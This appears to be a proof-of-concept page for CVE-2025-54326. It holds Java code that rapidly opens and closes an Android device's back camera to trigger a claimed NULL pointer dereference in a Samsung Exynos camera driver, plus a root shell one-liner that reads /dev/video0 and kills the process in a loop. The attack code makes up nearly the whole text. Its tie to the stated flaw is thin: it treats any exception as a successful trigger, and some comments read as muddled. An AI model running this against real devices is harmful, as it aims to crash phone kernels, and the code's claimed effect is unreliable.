CVE-2025-54326

// CVE-2025-54326 PoC - NULL Pointer Dereference in Samsung Exynos Camera Driver // This PoC demonstrates triggering the vulnerability through malformed Camera API calls // Note: Actual exploitation requires specific device firmware and kernel configuration import android.hardware.camera2.*; import android.content.Context; import android.os.Handler; import android.os.Looper; public class CVE_2025_54326_PoC { private CameraManager cameraManager; private Context context; public void triggerVulnerability() { try { cameraManager = (CameraManager) context.getSystemService(Context.CAMERA_SERVICE); String[] cameraIds = cameraManager.getCameraIdList(); for (String cameraId : cameraIds) { CameraCharacteristics characteristics = cameraManager.getCameraCharacteristics(cameraId); Integer facing = characteristics.get(CameraCharacteristics.LENS_FACING); // Target back-facing camera if (facing != null && facing == CameraCharacteristics.LENS_FACING_BACK) { // Trigger vulnerability through rapid preview surface switching // causing NULL pointer dereference in hardware address registration triggerRapidPreviewSwitch(cameraId); } } } catch (Exception e) { // Exception may indicate successful trigger of NULL pointer dereference e.printStackTrace(); } } private void triggerRapidPreviewSwitch(String cameraId) throws CameraAccessException { // Rapidly switch between different preview surfaces // This can trigger race condition in hardware IP address registration for (int i = 0; i < 100; i++) { try { // Open and close camera rapidly cameraManager.openCamera(cameraId, new CameraDevice.StateCallback() { @Override public void onOpened(CameraDevice camera) { // Rapid release to trigger NULL pointer camera.close(); } @Override public void onDisconnected(CameraDevice camera) { camera.close(); } @Override public void onError(CameraDevice camera, int error) { camera.close(); } }, new Handler(Looper.getMainLooper())); Thread.sleep(10); } catch (InterruptedException e) { break; } } } } // Kernel-level trigger (requires root): // cat /dev/video0 & sleep 0.1 && kill -9 $! 2>/dev/null // Repeated execution may trigger NULL pointer in camera driver

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